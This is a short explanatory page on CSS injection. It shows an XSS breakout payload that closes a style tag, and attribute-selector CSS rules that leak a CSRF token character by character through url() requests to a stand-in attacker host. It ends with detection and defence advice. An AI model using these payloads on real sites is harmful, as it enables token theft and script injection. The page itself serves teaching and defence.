the_open_door
coffee
ESEN
← Back to index

CSS Injection (CSSI)

ATT&CKT1059.007

CSS injection (CSSI) happens when an application embeds user input inside a stylesheet or a <style> block without escaping it. It has two outcomes. The first and most direct: if the input lands inside a <style>, closing the tag breaks the CSS context and injects arbitrary HTML/JS, that is, XSS. The second, subtler and applicable even when only "pure" CSS is allowed: using attribute selectors to exfiltrate data (CSRF tokens, field values) without executing JavaScript.

The escape-to-XSS case is the most common in labs: a "favourite colour" field reflected in the style. Closing the tag injects a script:

blue</style><script>alert('XSS')</script>

When the sink allows CSS but does not let you leave it, CSSI is still dangerous through attribute-selector exfiltration. A selector that matches the prefix of a sensitive value triggers a request to the attacker's server; iterating prefix by prefix reconstructs the value character by character:

input[name="csrf"][value^="a"] { background: url(https://attacker.com/leak?c=a); }
input[name="csrf"][value^="b"] { background: url(https://attacker.com/leak?c=b); }
/* the prefix that fires the request reveals the token's next character */

Requirements. The input must be reflected inside a style context (a <style> or a style= attribute). For the XSS jump, the sink must not escape </> nor filter </style>. For selector exfiltration, it is enough that CSS is allowed and the target datum exists on the page (an input's value, say); being able to load external resources helps (no restrictive img-src/style-src CSP).

How to detect it. The XSS jump leaves the usual signature: </style>, <script> or event handlers in a reflected parameter, which a WAF flags. CSS exfiltration is quieter, but the pattern is given away by bursts of requests to a single external host from url() varying a prefix, and its block is logged as a CSP violation if img-src/style-src are scoped.

Defence. Do not embed user input in CSS: if a colour or size must be reflected, validate it against a strict whitelist (for instance, only #rrggbb or known colour names) and escape the context. A CSP that restricts style-src and img-src to your own origins cuts both the XSS and the url() exfiltration. It overlaps with CSTI and XSS.